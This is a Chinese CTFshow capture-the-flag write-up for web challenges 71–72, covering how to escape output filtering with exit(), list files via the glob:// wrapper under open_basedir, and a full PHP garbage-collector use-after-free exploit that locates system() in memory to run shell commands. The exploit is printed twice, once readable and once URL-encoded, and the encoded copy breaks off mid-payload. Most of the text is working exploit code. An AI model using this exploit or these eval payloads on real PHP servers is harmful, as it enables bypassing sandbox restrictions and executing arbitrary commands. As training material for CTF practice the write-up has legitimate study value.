《CTFshow-Web入门》08. Web 71~80

Posted 镜坛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《CTFshow-Web入门》08. Web 71~80相关的知识,希望对你有一定的参考价值。

web80,再遇蚁剑。


ctf - web入门

web71

知识点

  • ob_get_contents():得到输出缓冲区的内容。
  • ob_end_clean():清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
  • preg_replace():执行一个正则表达式的搜索和替换。
  • exit():输出一个消息并且退出当前脚本。

题解

这题给了源码。

error_reporting(0);
ini_set(\'display_errors\', 0);
// 你们在炫技吗?
if(isset($_POST[\'c\']))
        $c= $_POST[\'c\'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
else
    highlight_file(__FILE__);

如果按照源码逻辑,最终的输出会全部替换为 “ ? ”。

可以执行php代码让后面的匹配缓冲区不执行直接退出。

c=var_export(scandir("/"));exit();
c=include("/flag.txt");exit();

web72

知识点

php 伪协议:

  • glob://
    查找匹配的文件路径模式

用法示例:

  • php 垃圾回收。

题解

这一题也给了源码。源码和 web71 相同。

但是 scandir() 函数不能访问根目录了。

也就是说,本题设置了 open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。
因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。

没办法,看了其他师傅的 writeup。这题,很复杂啊。
九枕-ctfshow学习记录

浅记录一下思路。

首先要确定 flag 文件的位置。这里使用 php 伪协议 glob://

先放 payload

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) echo($f->__toString().\' \'); exit(0); ?>

其实不加前面 ?> ” 结尾来结束语句,但是eval里的 “ ?> ” 不会闭合当前 php 文件。

payload 的内容如下:

<?php 
	$a = new DirectoryIterator("glob:///*");
	foreach ($a as $f) 
	
		echo ($f->__toString().\' \');
	 
	exit(0); 
?>

通过上面方法找到文件 flag0.txt。但是 include() 已经无法使用。

ctfshow 提供了这道题的 POC(一个绕过安全目录的脚本)。
据说利用了 php 的垃圾回收机制。代码涉及到偏移地址之类的。先放这里吧。

<?php
function ctfshow($cmd) 
    global $abc, $helper, $backtrace;

    class Vuln 
        public $a;
        public function __destruct()  
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1][\'args\'])) 
                $backtrace = debug_backtrace();
            
        
    

    class Helper 
        public $a, $b, $c, $d;
    

    function str2ptr(&$str, $p = 0, $s = 8) 
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) 
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        
        return $address;
    

    function ptr2str($ptr, $m = 8) 
        $out = "";
        for ($i=0; $i < $m; $i++) 
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        
        return $out;
    

    function write(&$str, $p, $v, $n = 8) 
        $i = 0;
        for($i = 0; $i < $n; $i++) 
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        
    

    function leak($addr, $p = 0, $s = 8) 
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8)  $leak %= 2 << ($s * 8) - 1; 
        return $leak;
    

    function parse_elf($base) 
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) 
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6)  

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
             else if($p_type == 1 && $p_flags == 5)  
                $text_size = $p_memsz;
            
        

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    

    function get_basic_funcs($base, $elf) 
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) 
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) 
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
             else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) 
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
             else continue;

            return $data_addr + $i * 8;
        
    

    function get_binary_base($binary_leak) 
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) 
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) 
                return $addr;
            
        
    

    function get_system($basic_funcs) 
        $addr = $basic_funcs;
        do 
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) 
                return leak($addr + 8);
            
            $addr += 0x20;
         while($f_entry != 0);
        return false;
    

    function trigger_uaf($arg) 

        $arg = str_shuffle(\'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\');
        $vuln = new Vuln();
        $vuln->a = $arg;
    

    if(stristr(PHP_OS, \'WIN\')) 
        die(\'This PoC is for *nix systems only.\');
    

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(\'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\');

    trigger_uaf(\'x\');
    $abc = $backtrace[1][\'args\'][0];

    $helper = new Helper;
    $helper->b = function ($x)  ;

    if(strlen($abc) == 79 || strlen($abc) == 0) 
        die("UAF failed");
    

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) 
        die("Couldn\'t determine binary base address");
    

    if(!($elf = parse_elf($base))) 
        die("Couldn\'t parse ELF header");
    

    if(!($basic_funcs = get_basic_funcs($base, $elf))) 
        die("Couldn\'t get basic_functions address");
    

    if(!($zif_system = get_system($basic_funcs))) 
        die("Couldn\'t get zif_system address");
    


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) 
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();


ctfshow("cat /flag0.txt");ob_end_flush();
?>

是我看不懂的(晕)

这代码不能在 Windows 上跑。要求被攻击服务器必须是类unix系统。

好吧。把以上代码通过 url 编码,然后传递即可。

c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20